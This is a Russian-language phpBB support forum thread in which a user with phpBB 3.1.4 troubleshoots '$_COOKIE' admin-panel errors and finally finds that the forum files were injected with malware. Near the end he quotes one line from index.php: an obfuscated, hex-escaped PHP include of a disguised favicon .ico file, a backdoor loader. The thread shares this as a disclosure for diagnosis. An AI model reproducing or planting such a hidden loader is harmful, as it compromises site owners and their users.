Уважаемые пользователи!
C 7 ноября 2020 года phpBB Group прекратила выпуск обновлений и завершила дальнейшее развитие phpBB версии 3.2.
С 1 августа 2024 года phpBB Group прекращает поддержку phpBB 3.2 на официальном сайте.
Сайт официальной русской поддержки phpBB Guru продолжит поддержку phpBB 3.2 до 31 декабря 2024 года.
С учетом этого, настоятельно рекомендуется обновить конференции до версии 3.3.

Ошибка в админке на вкладке ФОРУМЫ

Проблемы с установкой или работой phpBB 3.1.x? Получите помощь здесь!
С 1 июля 2018 года phpBB Group прекращает поддержку phpBB версии 3.1.
Сайт официальной русской поддержки phpBB Guru продолжит поддержку phpBB 3.1 до 1 января 2019 года.
Подробнее: Окончание поддержки phpBB 3.1.
Правила форума
Местная Конституция | Шаблон запроса | Документация (phpBB3) | Мини [FAQ] по phpBB3.1.x | FAQ-3 (phpbb3) | Как задавать вопросы | Как устанавливать расширения

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам (а вы рискуете получить предупреждение ;) ).
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Всех приветствую!
Имею форум старенький - версии 3.1.4. Решил подфорум создать новый. При выборе в админке вкладки ФОРУМЫ выводится ошибка

Код: Выделить всё

Общая ошибка
Illegal use of $_COOKIE. You must use the request class or request_var() to access input data. Found in /home/xxxxxx/xxxxxxxxxx.ru/www/forum/includes/acp/acp_forums.php on line 1. This error message was generated by deactivated_super_global.

BACKTRACE

FILE: (not given by php)
LINE: (not given by php)
CALL: msg_handler()

FILE: [ROOT]/phpbb/request/deactivated_super_global.php
LINE: 67
CALL: trigger_error()

FILE: [ROOT]/phpbb/request/deactivated_super_global.php
LINE: 114
CALL: phpbb\request\deactivated_super_global->error()

FILE: [ROOT]/includes/acp/acp_forums.php
LINE: 1
CALL: phpbb\request\deactivated_super_global->getIterator()

FILE: [ROOT]/includes/functions_module.php
LINE: 574
CALL: include('[ROOT]/includes/acp/acp_forums.php')

FILE: [ROOT]/adm/index.php
LINE: 81
CALL: p_master->load_active()
Кроме обновления версии как-то лечится? В админке уже год, наверно, не лазил. Поэтому сложно сказать, что этому предшествовало...Остальные вкладки работают.
Аватара пользователя
LONER
phpBB 3.0.0 RC1
Сообщения: 1486
Стаж: 8 лет 2 месяца
Благодарил (а): 164 раза
Поблагодарили: 247 раз

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение LONER »

Недопустимое использование $ _COOKIE. Вы должны использовать класс запроса или request_var () для доступа к входным данным. Находится в /home/xxxxxx/xxxxxxxxxx.ru/www/forum/includes/acp/acp_forums.php в строке 1. Это сообщение об ошибке было создано deactivated_super_global.
Правильно заданный вопрос и описание проблемы - 70% их решения...
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Стаж: 17 лет 1 месяц
Откуда: Калининград не Кенигсберг
Благодарил (а): 54 раза
Поблагодарили: 2752 раза
Контактная информация:

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение Sheer »

slavapril писал(а): Поэтому сложно сказать, что этому предшествовало
А нам еще сложнее...
Что в строке LINE: 574 ?
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Код: Выделить всё

// new modules use the full class names, old ones are always called <type>_<name>, e.g. acp_board
		if (!class_exists($this->p_name))
		{
			if (!file_exists("$module_path/{$this->p_name}.$phpEx"))
			{
				trigger_error($user->lang('MODULE_NOT_FIND', "$module_path/{$this->p_name}.$phpEx"), E_USER_ERROR);
			}

		include("$module_path/{$this->p_name}.$phpEx");

			if (!class_exists($this->p_name))
			{
				trigger_error($user->lang('MODULE_FILE_INCORRECT_CLASS', "$module_path/{$this->p_name}.$phpEx", $this->p_name), E_USER_ERROR);
			}
		}

		if (!empty($mode))
		{
			$this->p_mode = $mode;
		}

		// Create a new instance of the desired module ...
574 include("$module_path/{$this->p_name}.$phpEx");
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 12372
Стаж: 12 лет 7 месяцев
Благодарил (а): 223 раза
Поблагодарили: 3517 раз
Контактная информация:

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение Татьяна5 »

Вероятней всего $_COOKIE находится в каком-либо расширении. Можно скачать всю папку и пройтись по ней поиском по файлам
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Расширения все отключал. То же самое
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 12372
Стаж: 12 лет 7 месяцев
Благодарил (а): 223 раза
Поблагодарили: 3517 раз
Контактная информация:

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение Татьяна5 »

Тогда придётся по всем файлам на сервере искать
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Еще обнаружился косяк. При нажатии на "Связаться с администрацией" вылазит

Код: Выделить всё

Общая ошибка
Illegal use of $_COOKIE. You must use the request class or request_var() to access input data. Found in /home/хххххх/хххххххххх/www/forum/includes/functions_messenger.php on line 1. This error message was generated by deactivated_super_global.
Это никак не помогает с идеями?
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Стаж: 17 лет 1 месяц
Откуда: Калининград не Кенигсберг
Благодарил (а): 54 раза
Поблагодарили: 2752 раза
Контактная информация:

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение Sheer »

Идея очень простая. Отключить все расширения и заменить все файлы движка из дистрибутива кроме
config.php
папки /images
папки /files
папки /store

И никогда больше не править оригинальные файлы движка.
Что ты с ними творил никому неведомо.
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

У меня версия 3.1.4...нужен дистрибутив этой же версии?
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Понял....на досуге опробую
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Sheer писал(а): Что ты с ними творил никому неведомо.
Как оказалось, я тут ни при чем. В некоторых файлах форума вредоносные коды. Надо было 3.1.4 вовремя апгрейдить....да всё некогда....теперь куча возни будет.
Для примера

Код: Выделить всё

/*bc032*/

@include "\x2fhom\x65/u3\x33720\x33/el\x65ctr\x6fcha\x69nic\x2eru/\x77ww/\x66oru\x6d/in\x63lud\x65s/m\x63p/f\x61vic\x6fn_3\x651a6\x62.ic\x6f";
Это в файле forum/index.php. Прямо сразу после <?php
Аватара пользователя
Sumanai
phpBB 3.0.0 RC5
Сообщения: 1668
Стаж: 9 лет 4 месяца
Благодарил (а): 267 раз
Поблагодарили: 216 раз
Контактная информация:

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение Sumanai »

slavapril писал(а): Надо было 3.1.4 вовремя апгрейдить
Вряд ли это из-за немного старой версии, я не помню таких значительных дыр, которые могли бы привести к инжекту произвольного кода. Скорее хостинг или безалаберное хранение паролей.
Аватара пользователя
slavapril
phpBB 1.4.4
Сообщения: 126
Стаж: 11 лет 1 месяц
Благодарил (а): 18 раз
Поблагодарили: 22 раза

Re: Ошибка в админке на вкладке ФОРУМЫ

Сообщение slavapril »

Хостинг - Мастерхост...Галочки на "запомнить пароль" я никогда нигде не ставлю...каждый раз заново ввожу
Закрыто

Вернуться в «Поддержка phpBB 3.1.x»